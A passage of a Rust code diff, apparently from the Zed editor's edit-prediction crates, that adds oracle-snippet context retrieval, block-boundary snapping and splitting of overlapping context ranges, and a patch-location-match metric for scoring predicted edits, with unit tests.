+            let Some(range) = buffer.read_with(cx, |buffer, _cx| {
+                let snapshot = buffer.snapshot();
+                let padding_above = oracle_snippet_padding(&target.path, row_range.start, 0);
+                let padding_below = oracle_snippet_padding(&target.path, row_range.end, 1);
+                let start_row = row_range.start.saturating_sub(padding_above);
+                // Empty hunk row ranges (pure insertions) still cover one row.
+                let core_end_row = row_range.end.max(row_range.start + 1);
+                let end_row = core_end_row.saturating_add(padding_below);
+                let start_row =
+                    snap_start_row_to_block_boundary(&snapshot, start_row, row_range.start);
+                // `end_row` is exclusive while snapping operates on the last
+                // included row.
+                let end_row = snap_end_row_to_block_boundary(
+                    &snapshot,
+                    end_row.saturating_sub(1),
+                    core_end_row.saturating_sub(1),
+                ) + 1;
+                anchor_range_for_row_range(&snapshot, start_row..end_row)
+            }) else {
+                continue;
+            };
+
+            push_context_range(
+                ranges_by_buffer,
+                buffer.clone(),
+                range,
+                next_order + index,
+                ContextSource::OracleSnippet,
+            );
+            index += 1;
+        }
+    }
+}
+
+/// Deterministic pseudo-random padding, so that the expected edit is not
+/// always centered in the snippet (a student model could otherwise learn the
+/// excerpt center as a position prior), while keeping context retrieval
+/// reproducible across runs.
+fn oracle_snippet_padding(path: &Path, row: u32, salt: u32) -> u32 {
+    use std::hash::{Hash as _, Hasher as _};
+
+    let mut hasher = collections::FxHasher::default();
+    path.hash(&mut hasher);
+    row.hash(&mut hasher);
+    salt.hash(&mut hasher);
+    let span =
+        u64::from(ORACLE_SNIPPET_MAX_CONTEXT_LINE_COUNT - ORACLE_SNIPPET_MIN_CONTEXT_LINE_COUNT);
+    ORACLE_SNIPPET_MIN_CONTEXT_LINE_COUNT + (hasher.finish() % (span + 1)) as u32
+}
+
 async fn open_buffer_for_path(
     project: &Entity<Project>,
     path: &Path,
@@ -588,11 +699,71 @@ fn expanded_anchor_range(
         .row
         .saturating_add(context_line_count)
         .min(snapshot.max_point().row);
+    let start_row = snap_start_row_to_block_boundary(snapshot, start_row, start.row);
+    let end_row = snap_end_row_to_block_boundary(snapshot, end_row, end.row);
     let start = snapshot.anchor_before(Point::new(start_row, 0));
     let end = snapshot.anchor_after(Point::new(end_row, snapshot.line_len(end_row)));
     start..end
 }
 
+/// Nudge an excerpt's first row forward (up to `BOUNDARY_SNAP_LINE_COUNT`
+/// lines, never past `core_row`) so the excerpt starts at a natural block
+/// boundary: preferably a good block start right after blank line(s), or
+/// failing that any good block start. Mirrors the marker placement
+/// heuristics of `zeta_prompt::multi_region`.
+fn snap_start_row_to_block_boundary(
+    snapshot: &text::BufferSnapshot,
+    row: u32,
+    core_row: u32,
+) -> u32 {
+    let limit = core_row
+        .min(row.saturating_add(BOUNDARY_SNAP_LINE_COUNT))
+        .min(snapshot.max_point().row);
+    let mut first_good_start = None;
+    for candidate in row..=limit {
+        if snapshot.is_line_blank(candidate) {
+            continue;
+        }
+        if !is_good_block_start(line_text(snapshot, candidate).trim()) {
+            continue;
+        }
+        if candidate > 0 && snapshot.is_line_blank(candidate - 1) {
+            return candidate;
+        }
+        if first_good_start.is_none() {
+            first_good_start = Some(candidate);
+        }
+    }
+    first_good_start.unwrap_or(row)
+}
+
+/// Nudge an excerpt's last row backward (up to `BOUNDARY_SNAP_LINE_COUNT`
+/// lines, never before `core_row`) so the excerpt ends at the last non-blank
+/// line before a blank line or at the end of the file.
+fn snap_end_row_to_block_boundary(snapshot: &text::BufferSnapshot, row: u32, core_row: u32) -> u32 {
+    let max_row = snapshot.max_point().row;
+    let row = row.min(max_row);
+    if row == max_row {
+        return row;
+    }
+    let limit = core_row.max(row.saturating_sub(BOUNDARY_SNAP_LINE_COUNT));
+    for candidate in (limit..=row).rev() {
+        if snapshot.is_line_blank(candidate) {
+            continue;
+        }
+        if snapshot.is_line_blank(candidate + 1) {
+            return candidate;
+        }
+    }
+    row
+}
+
+fn line_text(snapshot: &text::BufferSnapshot, row: u32) -> String {
+    snapshot
+        .text_for_range(Point::new(row, 0)..Point::new(row, snapshot.line_len(row)))
+        .collect()
+}
+
 fn push_context_range(
     ranges_by_buffer: &mut RangesByBuffer,
     buffer: Entity<Buffer>,
@@ -628,9 +799,10 @@ fn related_file_for_ranges(
     ))
     .into();
 
-    let ranges = resolved_context_ranges(ranges, &snapshot);
+    let mut ranges = resolved_context_ranges(ranges, &snapshot);
+    split_overlapping_ranges(&mut ranges);
 
-    let mut excerpts = ranges
+    let excerpts = ranges
         .into_iter()
         .map(|range| RelatedExcerpt {
             row_range: range.range.start.row..range.range.end.row,
@@ -642,7 +814,6 @@ fn related_file_for_ranges(
             context_source: range.context_source,
         })
         .collect::<Vec<_>>();
-    excerpts.sort_by_key(|excerpt| excerpt.order);
 
     Some(RelatedFile {
         path,
@@ -674,29 +845,124 @@ fn resolved_context_ranges(
         .collect()
 }
 
-#[allow(dead_code)]
-fn merge_overlapping_ranges(ranges: &mut Vec<ResolvedEditableContextRange>) {
+/// Split overlapping ranges into disjoint segments instead of merging them
+/// into one range. Each segment keeps the minimum order and highest-priority
+/// source among the ranges covering it, and adjacent segments with equal
+/// order are coalesced. This preserves priority granularity: a small
+/// high-priority snippet inside a large low-priority range remains its own
+/// excerpt, so byte-budget selection can retain it even when the surrounding
+/// range doesn't fit. The resulting segments are disjoint and sorted by
+/// position.
+///
+/// Ranges separated by at most `BRIDGED_GAP_LINE_COUNT` rows are bridged:
+/// the small gap is attached to the preceding segment so the excerpts render
+/// as one contiguous block instead of being separated by an elision marker.
+fn split_overlapping_ranges(ranges: &mut Vec<ResolvedEditableContextRange>) {
     ranges.sort_by_key(|range| (range.range.start, range.range.end));
-    let mut merged: Vec<ResolvedEditableContextRange> = Vec::new();
+    let mut output: Vec<ResolvedEditableContextRange> = Vec::new();
+    let mut cluster: Vec<ResolvedEditableContextRange> = Vec::new();
+    let mut cluster_end = Point::zero();
 
     for range in ranges.drain(..) {
-        if let Some(last_range) = merged.last_mut()
-            && range.range.start <= last_range.range.end
-        {
-            if context_source_order(range.context_source)
-                < context_source_order(last_range.context_source)
+        let bridge_limit_row = row_aligned_end(cluster_end)
+            .row
+            .saturating_add(BRIDGED_GAP_LINE_COUNT);
+        if cluster.is_empty() || range.range.start.row <= bridge_limit_row {
+            cluster_end = cluster_end.max(range.range.end);
+            cluster.push(range);
+        } else {
+            split_cluster(std::mem::take(&mut cluster), cluster_end, &mut output);
+            cluster_end = range.range.end;
+            cluster.push(range);
+        }
+    }
+    if !cluster.is_empty() {
+        split_cluster(cluster, cluster_end, &mut output);
+    }
+
+    *ranges = output;
+}
+
+fn split_cluster(
+    cluster: Vec<ResolvedEditableContextRange>,
+    cluster_end: Point,
+    output: &mut Vec<ResolvedEditableContextRange>,
+) {
+    if cluster.len() == 1 {
+        output.extend(cluster);
+        return;
+    }
+
+    let cluster_start = cluster[0].range.start;
+    let mut boundaries = Vec::with_capacity(cluster.len() * 2 + 1);
+    boundaries.push(cluster_start);
+    for range in &cluster {
+        boundaries.push(range.range.start);
+        boundaries.push(row_aligned_end(range.range.end));
+    }
+    boundaries.retain(|boundary| *boundary >= cluster_start && *boundary < cluster_end);
+    boundaries.sort();
+    boundaries.dedup();
+    boundaries.push(cluster_end);
+
+    for window in boundaries.windows(2) {
+        let segment = window[0]..window[1];
+        // The segment is attributed to the lowest-order covering range
+        // (breaking ties by source priority), so that its source label is
+        // consistent with the order that drives budget selection.
+        let mut order_and_source: Option<(usize, ContextSource)> = None;
+        for range in &cluster {
+            if range.range.start <= segment.start && row_aligned_end(range.range.end) >= segment.end
             {
-                last_range.context_source = range.context_source;
+                let candidate = (range.order, range.context_source);
+                if order_and_source.is_none_or(|(order, context_source)| {
+                    (candidate.0, context_source_order(candidate.1))
+                        < (order, context_source_order(context_source))
+                }) {
+                    order_and_source = Some(candidate);
+                }
+            }
+        }
+        let Some((order, context_source)) = order_and_source else {
+            // A bridged gap between two nearby ranges: no range covers it, so
+            // attach it to the preceding segment to form contiguous output.
+            if let Some(last) = output.last_mut()
+                && last.range.end == segment.start
+            {
+                last.range.end = segment.end;
+            }
+            continue;
+        };
+
+        if let Some(last) = output.last_mut()
+            && last.range.end == segment.start
+            && last.order == order
+        {
+            last.range.end = segment.end;
+            if context_source_order(context_source) < context_source_order(last.context_source) {
+                last.context_source = context_source;
             }
-            last_range.range.end = last_range.range.end.max(range.range.end);
-            last_range.order = last_range.order.min(range.order);
             continue;
         }
 
-        merged.push(range);
+        output.push(ResolvedEditableContextRange {
+            range: segment,
+            order,
+            context_source,
+        });
     }
+}
 
-    *ranges = merged;
+/// Context ranges always cover whole lines: their ends sit either at a line
+/// start (column 0) or at the end of a line's content. Cutting a segment at
+/// the end of a line's content would attribute the trailing newline to the
+/// next segment, so nudge such ends forward to the next line start.
+fn row_aligned_end(point: Point) -> Point {
+    if point.column > 0 {
+        Point::new(point.row + 1, 0)
+    } else {
+        point
+    }
 }
 
 #[allow(dead_code)]
@@ -716,6 +982,257 @@ fn context_source_order(context_source: ContextSource) -> usize {
         ContextSource::EditHistoryFile => 4,
         ContextSource::GitLog => 5,
         ContextSource::Bm25 => 6,
-        ContextSource::OracleFile => 7,
+        ContextSource::OracleSnippet => 7,
+        ContextSource::OracleFile => 8,
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn text_snapshot(text: &str) -> text::BufferSnapshot {
+        text::Buffer::new(
+            text::ReplicaId::LOCAL,
+            text::BufferId::new(1).unwrap(),
+            text,
+        )
+        .snapshot()
+        .clone()
+    }
+
+    fn resolved_range(
+        start_row: u32,
+        end_row: u32,
+        order: usize,
+        context_source: ContextSource,
+    ) -> ResolvedEditableContextRange {
+        ResolvedEditableContextRange {
+            range: Point::new(start_row, 0)..Point::new(end_row, 0),
+            order,
+            context_source,
+        }
+    }
+
+    #[test]
+    fn test_split_overlapping_ranges_coalesces_equal_orders() {
+        // A full-file current-file range plus edit-history windows inside it:
+        // every segment is covered by the order-0 full-file range, so they
+        // coalesce back into a single range with the highest-priority source.
+        let mut ranges = vec![
+            resolved_range(6, 46, 1, ContextSource::EditHistory),
+            resolved_range(0, 281, 0, ContextSource::CurrentFile),
+            resolved_range(17, 79, 2, ContextSource::EditHistory),
+            resolved_range(85, 125, 3, ContextSource::EditHistory),
+        ];
+        split_overlapping_ranges(&mut ranges);
+        assert_eq!(ranges.len(), 1);
+        assert_eq!(ranges[0].range, Point::new(0, 0)..Point::new(281, 0));
+        assert_eq!(ranges[0].order, 0);
+        assert_eq!(ranges[0].context_source, ContextSource::CurrentFile);
+    }
+
+    #[test]
+    fn test_split_overlapping_ranges_keeps_disjoint_ranges() {
+        let mut ranges = vec![
+            resolved_range(50, 60, 1, ContextSource::EditHistory),
+            resolved_range(0, 10, 0, ContextSource::CursorExcerpt),
+            resolved_range(5, 12, 2, ContextSource::EditHistory),
+        ];
+        split_overlapping_ranges(&mut ranges);
+        assert_eq!(ranges.len(), 3);
+        assert_eq!(ranges[0].range, Point::new(0, 0)..Point::new(10, 0));
+        assert_eq!(ranges[0].order, 0);
+        assert_eq!(ranges[0].context_source, ContextSource::CursorExcerpt);
+        assert_eq!(ranges[1].range, Point::new(10, 0)..Point::new(12, 0));
+        assert_eq!(ranges[1].order, 2);
+        assert_eq!(ranges[1].context_source, ContextSource::EditHistory);
+        assert_eq!(ranges[2].range, Point::new(50, 0)..Point::new(60, 0));
+        assert_eq!(ranges[2].order, 1);
+    }
+
+    #[test]
+    fn test_split_overlapping_ranges_keeps_adjacent_ranges_with_distinct_orders() {
+        let mut ranges = vec![
+            resolved_range(0, 10, 0, ContextSource::EditHistory),
+            resolved_range(10, 20, 1, ContextSource::EditHistory),
+        ];
+        split_overlapping_ranges(&mut ranges);
+        assert_eq!(ranges.len(), 2);
+        assert_eq!(ranges[0].range, Point::new(0, 0)..Point::new(10, 0));
+        assert_eq!(ranges[0].order, 0);
+        assert_eq!(ranges[1].range, Point::new(10, 0)..Point::new(20, 0));
+        assert_eq!(ranges[1].order, 1);
+    }
+
+    #[test]
+    fn test_split_overlapping_ranges_preserves_high_priority_snippet_inside_large_range() {
+        // A small high-priority snippet inside a large low-priority range
+        // stays its own segment, so byte-budget selection can keep it even
+        // when the surrounding range doesn't fit.
+        let mut ranges = vec![
+            resolved_range(0, 200, 8, ContextSource::GitLog),
+            resolved_range(50, 60, 2, ContextSource::OracleSnippet),
+        ];
+        split_overlapping_ranges(&mut ranges);
+        assert_eq!(ranges.len(), 3);
+        assert_eq!(ranges[0].range, Point::new(0, 0)..Point::new(50, 0));
+        assert_eq!(ranges[0].order, 8);
+        assert_eq!(ranges[0].context_source, ContextSource::GitLog);
+        assert_eq!(ranges[1].range, Point::new(50, 0)..Point::new(60, 0));
+        assert_eq!(ranges[1].order, 2);
+        assert_eq!(ranges[1].context_source, ContextSource::OracleSnippet);
+        assert_eq!(ranges[2].range, Point::new(60, 0)..Point::new(200, 0));
+        assert_eq!(ranges[2].order, 8);
+        assert_eq!(ranges[2].context_source, ContextSource::GitLog);
+    }
+
+    #[test]
+    fn test_split_overlapping_ranges_aligns_mid_line_ends_to_row_starts() {
+        // Ranges ending at a line's content end (column > 0) are treated as
+        // covering through that whole line, so equal-order overlapping ranges
+        // still coalesce into one segment.
+        let mut ranges = vec![
+            ResolvedEditableContextRange {
+                range: Point::new(0, 0)..Point::new(10, 5),
+                order: 1,
+                context_source: ContextSource::EditHistory,
+            },
+            resolved_range(5, 20, 1, ContextSource::EditHistory),
+        ];
+        split_overlapping_ranges(&mut ranges);
+        assert_eq!(ranges.len(), 1);
+        assert_eq!(ranges[0].range, Point::new(0, 0)..Point::new(20, 0));
+        assert_eq!(ranges[0].order, 1);
+    }
+
+    #[test]
+    fn test_split_overlapping_ranges_bridges_small_gaps() {
+        // Ranges separated by a few rows are bridged: the gap is attached to
+        // the preceding segment, producing contiguous excerpts.
+        let mut ranges = vec![
+            resolved_range(0, 10, 0, ContextSource::EditHistory),
+            resolved_range(13, 20, 1, ContextSource::Bm25),
+        ];
+        split_overlapping_ranges(&mut ranges);
+        assert_eq!(ranges.len(), 2);
+        assert_eq!(ranges[0].range, Point::new(0, 0)..Point::new(13, 0));
+        assert_eq!(ranges[0].order, 0);
+        assert_eq!(ranges[0].context_source, ContextSource::EditHistory);
+        assert_eq!(ranges[1].range, Point::new(13, 0)..Point::new(20, 0));
+        assert_eq!(ranges[1].order, 1);
+        assert_eq!(ranges[1].context_source, ContextSource::Bm25);
+    }
+
+    #[test]
+    fn test_split_overlapping_ranges_bridged_equal_orders_coalesce() {
+        let mut ranges = vec![
+            resolved_range(0, 10, 1, ContextSource::EditHistory),
+            resolved_range(12, 20, 1, ContextSource::EditHistory),
+        ];
+        split_overlapping_ranges(&mut ranges);
+        assert_eq!(ranges.len(), 1);
+        assert_eq!(ranges[0].range, Point::new(0, 0)..Point::new(20, 0));
+        assert_eq!(ranges[0].order, 1);
+    }
+
+    #[test]
+    fn test_split_overlapping_ranges_does_not_bridge_large_gaps() {
+        let mut ranges = vec![
+            resolved_range(0, 10, 0, ContextSource::EditHistory),
+            resolved_range(14, 20, 1, ContextSource::Bm25),
+        ];
+        split_overlapping_ranges(&mut ranges);
+        assert_eq!(ranges.len(), 2);
+        assert_eq!(ranges[0].range, Point::new(0, 0)..Point::new(10, 0));
+        assert_eq!(ranges[1].range, Point::new(14, 0)..Point::new(20, 0));
+    }
+
+    #[test]
+    fn test_snap_start_row_prefers_block_start_after_blank_line() {
+        let snapshot = text_snapshot(concat!(
+            "    body\n",   // 0
+            "}\n",          // 1
+            "\n",           // 2
+            "fn bar() {\n", // 3
+            "    body\n",   // 4
+            "    core\n",   // 5
+        ));
+        // Row 1 is a structural tail and row 2 is blank; row 3 follows a
+        // blank line and is a good block start.
+        assert_eq!(snap_start_row_to_block_boundary(&snapshot, 1, 5), 3);
+        // Snapping never moves past the core row.
+        assert_eq!(snap_start_row_to_block_boundary(&snapshot, 1, 2), 1);
+        // A row that is already a good start after a blank line stays put.
+        assert_eq!(snap_start_row_to_block_boundary(&snapshot, 3, 5), 3);
+    }
+
+    #[test]
+    fn test_snap_start_row_falls_back_to_first_good_start() {
+        let snapshot = text_snapshot(concat!(
+            "}\n",          // 0
+            "let x = 1;\n", // 1
+            "let y = 2;\n", // 2
+            "core\n",       // 3
+        ));
+        // No after-blank boundary in the window; the first good start wins.
+        assert_eq!(snap_start_row_to_block_boundary(&snapshot, 0, 3), 1);
+    }
+
+    #[test]
+    fn test_snap_end_row_ends_before_blank_line() {
+        let snapshot = text_snapshot(concat!(
+            "core\n", // 0
+            "a\n",    // 1
+            "b\n",    // 2
+            "\n",     // 3
+            "c\n",    // 4
+            "d\n",    // 5
+        ));
+        // Row 4 is followed by non-blank row 5, so scan back to row 2 which
+        // precedes the blank row 3.
+        assert_eq!(snap_end_row_to_block_boundary(&snapshot, 4, 0), 2);
+        // Snapping never moves before the core row.
+        assert_eq!(snap_end_row_to_block_boundary(&snapshot, 4, 4), 4);
+        // The last row of the file stays put.
+        let max_row = snapshot.max_point().row;
+        assert_eq!(
+            snap_end_row_to_block_boundary(&snapshot, max_row, 0),
+            max_row
+        );
+    }
+
+    #[test]
+    fn test_limit_retrieved_context_keeps_high_priority_snippet_under_tight_budget() {
+        let line = "0123456789\n";
+        let excerpt = |row_range: Range<u32>, order: usize, context_source: ContextSource| {
+            let text = line.repeat((row_range.end - row_range.start) as usize);
+            RelatedExcerpt {
+                row_range,
+                text: text.into(),
+                order,
+                context_source,
+            }
+        };
+        let related_files = vec![RelatedFile {
+            path: Path::new("root/file.rs").into(),
+            max_row: 200,
+            excerpts: vec![
+                excerpt(0..50, 8, ContextSource::GitLog),
+                excerpt(50..60, 2, ContextSource::OracleSnippet),
+                excerpt(60..200, 8, ContextSource::GitLog),
+            ],
+            in_open_source_repo: false,
+        }];
+
+        // Budget fits the snippet but not the surrounding segments.
+        let limited = limit_retrieved_context_to_bytes(&related_files, 20 * line.len());
+        assert_eq!(limited.len(), 1);
+        assert_eq!(limited[0].excerpts.len(), 1);
+        assert_eq!(limited[0].excerpts[0].row_range, 50..60);
+        assert_eq!(
+            limited[0].excerpts[0].context_source,
+            ContextSource::OracleSnippet
+        );
     }
 }
diff --git a/crates/edit_prediction_metrics/src/edit_prediction_metrics.rs b/crates/edit_prediction_metrics/src/edit_prediction_metrics.rs
index 205075e2f5b36e..62b8207c420e36 100644
--- a/crates/edit_prediction_metrics/src/edit_prediction_metrics.rs
+++ b/crates/edit_prediction_metrics/src/edit_prediction_metrics.rs
@@ -9,7 +9,10 @@ mod tokenize;
 #[cfg(feature = "tree-sitter")]
 mod tree_sitter;
 
-pub use jumps::{EditableContextCoverage, Excerpt, editable_context_coverage};
+pub use jumps::{
+    EditableContextCoverage, Excerpt, LineFileClassification, PatchLocationMatch,
+    editable_context_coverage, patch_location_match,
+};
 pub use kept_rate::AnnotatedToken;
 pub use kept_rate::KeptRateResult;
 pub use kept_rate::TokenAnnotation;
diff --git a/crates/edit_prediction_metrics/src/jumps.rs b/crates/edit_prediction_metrics/src/jumps.rs
index 8cfeafcc97aade..607cfab5949a44 100644
--- a/crates/edit_prediction_metrics/src/jumps.rs
+++ b/crates/edit_prediction_metrics/src/jumps.rs
@@ -4,6 +4,7 @@ use std::{
 };
 
 use crate::patch::{Patch, PatchLine};
+use crate::patch_metrics::ClassificationMetrics;
 
 const LINE_RELEVANCE_WINDOW: u32 = 20;
 
@@ -14,8 +15,13 @@ pub struct Excerpt {
     pub content: String,
 }
 
+/// Line- and file-level precision/recall/F1 over TP/FP/FN counts.
+///
+/// Shared shape for two metrics with the same structure: how much expected
+/// edit context was retrieved (`EditableContextCoverage`) and how well
+/// predicted edit locations match expected ones (`PatchLocationMatch`).
 #[derive(Clone, Debug, PartialEq, serde::Deserialize, serde::Serialize)]
-pub struct EditableContextCoverage {
+pub struct LineFileClassification {
     pub lines_tp: usize,
     pub lines_fp: usize,
     pub lines_fn: usize,
@@ -31,7 +37,10 @@ pub struct EditableContextCoverage {
     pub files_f1: f64,
 }
 
-impl EditableContextCoverage {
+pub type EditableContextCoverage = LineFileClassification;
+pub type PatchLocationMatch = LineFileClassification;
+
+impl LineFileClassification {
     pub fn new(
         lines_tp: usize,
         lines_fp: usize,
@@ -55,6 +64,43 @@ impl EditableContextCoverage {
             files_f1: f1(files_tp, files_fp, files_fn),
         }
     }
+
+    pub fn lines_counts(&self) -> ClassificationMetrics {
+        ClassificationMetrics {
+            true_positives: self.lines_tp,
+            false_positives: self.lines_fp,
+            false_negatives: self.lines_fn,
+        }
+    }
+
+    pub fn files_counts(&self) -> ClassificationMetrics {
+        ClassificationMetrics {
+            true_positives: self.files_tp,
+            false_positives: self.files_fp,
+            false_negatives: self.files_fn,
+        }
+    }
+}
+
+/// Measures how well an actual patch's edited file/line locations match an expected patch.
+pub fn patch_location_match(expected_patch: &str, actual_patch: &str) -> PatchLocationMatch {
+    let expected_patch = Patch::parse_unified_diff(expected_patch);
+    let actual_patch = Patch::parse_unified_diff(actual_patch);
+    let (expected_files, expected_anchor_lines, _) = expected_context(&expected_patch);
+    let (actual_files, mut actual_anchor_lines, _) = expected_context(&actual_patch);
+
+    normalize_actual_paths(
+        &expected_files,
+        &mut actual_anchor_lines,
+        actual_files.iter().cloned().collect(),
+    );
+    let actual_files = actual_anchor_lines.keys().cloned().collect();
+
+    let (lines_tp, lines_fp, lines_fn) =
+        match_anchor_rows(&expected_anchor_lines, &actual_anchor_lines);
+    let (files_tp, files_fp, files_fn) = classify_values(&expected_files, &actual_files);
+
+    PatchLocationMatch::new(lines_tp, lines_fp, lines_fn, files_tp, files_fp, files_fn)
 }
 
 /// Measures how much expected edit context was retrieved and how much unrelated context was retrieved.
@@ -201,6 +247,87 @@ fn retrieved_context(context: &[Excerpt]) -> (BTreeSet<String>, BTreeMap<String,
     (retrieved_files, retrieved_lines)
 }
 
+fn normalize_actual_paths(
+    expected_files: &BTreeSet<String>,
+    actual_anchor_lines: &mut BTreeMap<String, BTreeSet<u32>>,
+    actual_files: BTreeSet<String>,
+) {
+    let mut normalized = BTreeMap::new();
+
+    for actual_path in actual_files {
+        let normalized_path = normalize_actual_path(expected_files, &actual_path);
+        if let Some(rows) = actual_anchor_lines.remove(&actual_path) {
+            normalized
+                .entry(normalized_path)
+                .or_insert_with(BTreeSet::new)
+                .extend(rows);
+        }
+    }
+
+    *actual_anchor_lines = normalized;
+}
+
+fn normalize_actual_path(expected_files: &BTreeSet<String>, actual_path: &str) -> String {
+    if expected_files.contains(actual_path) {
+        return actual_path.to_string();
+    }
+
+    if let Some(stripped_path) = strip_first_path_component(actual_path) {
+        if expected_files.contains(stripped_path) {
+            return stripped_path.to_string();
+        }
+    }
+
+    actual_path.to_string()
+}
+
+fn strip_first_path_component(path: &str) -> Option<&str> {
+    path.split_once('/')
+        .map(|(_, rest)| rest)
+        .filter(|rest| !rest.is_empty())
+}
+
+fn match_anchor_rows(
+    expected: &BTreeMap<String, BTreeSet<u32>>,
+    actual: &BTreeMap<String, BTreeSet<u32>>,
+) -> (usize, usize, usize) {
+    let mut true_positives = 0;
+    let mut false_positives = 0;
+    let mut false_negatives = 0;
+    let paths = expected
+        .keys()
+        .chain(actual.keys())
+        .cloned()
+        .collect::<BTreeSet<_>>();
+
+    for path in paths {
+        let expected_rows = expected.get(&path).cloned().unwrap_or_default();
+        let actual_rows = actual.get(&path).cloned().unwrap_or_default();
+        let matched = match_rows_with_window(&expected_rows, &actual_rows);
+        true_positives += matched;
+        false_positives += actual_rows.len().saturating_sub(matched);
+        false_negatives += expected_rows.len().saturating_sub(matched);
+    }
+
+    (true_positives, false_positives, false_negatives)
+}
+
+fn match_rows_with_window(expected: &BTreeSet<u32>, actual: &BTreeSet<u32>) -> usize {
+    let mut unmatched_expected = expected.clone();
+    let mut matched = 0;
+
+    for actual_row in actual {
+        let start = actual_row.saturating_sub(LINE_RELEVANCE_WINDOW);
+        let end = actual_row.saturating_add(LINE_RELEVANCE_WINDOW);
+        if let Some(expected_row) = unmatched_expected.range(start..=end).next().copied() {
+            unmatched_expected.remove(&expected_row);
+            matched += 1;
+        }
+    }
+
+    matched
+}
+
 fn insert_anchor_row(
     anchor_lines_by_file: &mut BTreeMap<String, BTreeSet<u32>>,
     relevant_lines_by_file: &mut BTreeMap<String, BTreeSet<u32>>,
@@ -502,4 +629,70 @@ mod tests {
 
         assert_eq!(score, EditableContextCoverage::new(0, 0, 0, 0, 0, 0));
     }
+
+    #[test]
+    fn patch_location_match_counts_file_and_nearby_line_matches() {
+        let expected = indoc! {"
+            --- a/src/main.rs
+            +++ b/src/main.rs
+            @@ -50,1 +50,1 @@
+            -let value = 1;
+            +let value = 2;
+        "};
+        let actual = indoc! {"
+            --- a/src/main.rs
+            +++ b/src/main.rs
+            @@ -55,1 +55,1 @@
+            -let value = 1;
+            +let value = 2;
+        "};
+
+        let score = patch_location_match(expected, actual);
+
+        assert_eq!(score, PatchLocationMatch::new(1, 0, 0, 1, 0, 0));
+    }
+
+    #[test]
+    fn patch_location_match_counts_missing_and_extra_files() {
+        let expected = indoc! {"
+            --- a/src/main.rs
+            +++ b/src/main.rs
+            @@ -1,1 +1,1 @@
+            -let value = 1;
+            +let value = 2;
+        "};
+        let actual = indoc! {"
+            --- a/src/lib.rs
+            +++ b/src/lib.rs
+            @@ -1,1 +1,1 @@
+            -let value = 1;
+            +let value = 2;
+        "};
+
+        let score = patch_location_match(expected, actual);
+
+        assert_eq!(score, PatchLocationMatch::new(0, 1, 1, 0, 1, 1));
+    }
+
+    #[test]
+    fn patch_location_match_normalizes_project_prefixed_actual_path() {
+        let expected = indoc! {"
+            --- a/src/main.rs
+            +++ b/src/main.rs
+            @@ -1,1 +1,1 @@
+            -let value = 1;
+            +let value = 2;
+        "};
+        let actual = indoc! {"
+            --- a/project/src/main.rs
+            +++ b/project/src/main.rs
+            @@ -1,1 +1,1 @@
+            -let value = 1;
+            +let value = 2;
+        "};
+
+        let score = patch_location_match(expected, actual);
+
+        assert_eq!(score, PatchLocationMatch::new(1, 0, 0, 1, 0, 0));
+    }
 }
diff --git a/crates/edit_prediction_metrics/src/prediction_score.rs b/crates/edit_prediction_metrics/src/prediction_score.rs
index 684a93ba9de631..041d19ae7711f9 100644
--- a/crates/edit_prediction_metrics/src/prediction_score.rs
+++ b/crates/edit_prediction_metrics/src/prediction_score.rs
@@ -1,4 +1,5 @@
 use serde::{Deserialize, Serialize};
+use std::collections::{BTreeMap, BTreeSet};
 use std::error::Error;
 use std::fmt;
 use std::path::Path;
@@ -7,7 +8,11 @@ use zeta_prompt::udiff::{apply_diff_to_string, apply_diff_to_string_with_hunk_of
 
 use crate::reversal::compute_prediction_reversal_ratio_from_history;
 use crate::{
-    jumps::{EditableContextCoverage, Excerpt, editable_context_coverage},
+    jumps::{
+        EditableContextCoverage, Excerpt, PatchLocationMatch, editable_context_coverage,
+        patch_location_match,
+    },
+    patch::{Hunk, Patch, PatchLine},
     patch_metrics::{
         ClassificationMetrics, DeltaChrFMetrics, braces_disbalance, count_patch_token_changes,
         delta_chr_f, delta_chr_f_beta, exact_lines_match, has_isolated_whitespace_changes,
@@ -66,6 +71,8 @@ pub struct PredictionScore {
     pub avg_logprob: Option<f64>,
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub editable_context_coverage: Option<EditableContextCoverage>,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub jump_location: Option<PatchLocationMatch>,
 }
 
 impl PredictionScore {
@@ -97,6 +104,7 @@ impl PredictionScore {
             cumulative_logprob: None,
             avg_logprob: None,
             editable_context_coverage: None,
+            jump_location: None,
         }
     }
 
@@ -215,51 +223,164 @@ pub fn score_prediction(input: PredictionScoringInput<'_>) -> PredictionScore {
             })
     });
 
-    let Some(actual_patch) = input.actual_patch else {
-        let mut score = PredictionScore::zero();
-        score.editable_context_coverage = editable_context_coverage;
-        return score;
-    };
-
+    let actual_patch = input.actual_patch.unwrap_or("");
     let token_changes = count_patch_token_changes(actual_patch);
 
-    let actual_text = match apply_diff_to_string(actual_patch, input.original_text) {
-        Ok(text) => text,
-        Err(_) => {
-            let mut score = PredictionScore::zero();
-            score.inserted_tokens = token_changes.inserted_tokens;
-            score.deleted_tokens = token_changes.deleted_tokens;
-            score.editable_context_coverage = editable_context_coverage;
-            return score;
-        }
+    let mut best = input
+        .expected_patches
+        .iter()
+        .map(|expected| score_against_expected_patch(input, expected, actual_patch))
+        .max_by(|left, right| {
+            left.delta_chr_f_metrics
+                .score
+                .total_cmp(&right.delta_chr_f_metrics.score)
+                .then_with(|| left.exact_lines.f1().total_cmp(&right.exact_lines.f1()))
+                .then_with(|| {
+                    left.jump_location
+                        .lines_f1
+                        .total_cmp(&right.jump_location.lines_f1)
+                })
+        })
+        .unwrap_or_else(|| score_against_no_expected_patch(input, actual_patch));
+
+    let (cursor_distance, cursor_exact_match) =
+        compute_cursor_metrics(best.expected_cursor, input.actual_cursor);
+
+    let wrong_editable_region = input
+        .actual_patch
+        .map(|actual_patch| !is_editable_region_correct(actual_patch));
+    let has_isolated_whitespace_changes = input.actual_patch.is_some_and(|actual_patch| {
+        has_isolated_whitespace_changes(actual_patch, input.actual_cursor.map(|cursor| cursor.row))
+    });
+
+    best.score.cumulative_logprob = input.cumulative_logprob;
+    best.score.avg_logprob = input.avg_logprob;
+    best.score.editable_context_coverage = editable_context_coverage;
+    best.score.inserted_tokens = token_changes.inserted_tokens;
+    best.score.deleted_tokens = token_changes.deleted_tokens;
+    best.score.cursor_distance = cursor_distance;
+    best.score.cursor_exact_match = cursor_exact_match;
+    best.score.wrong_editable_region = wrong_editable_region;
+    best.score.has_isolated_whitespace_changes = has_isolated_whitespace_changes;
+    best.score
+}
+
+struct ExpectedPatchScore {
+    score: PredictionScore,
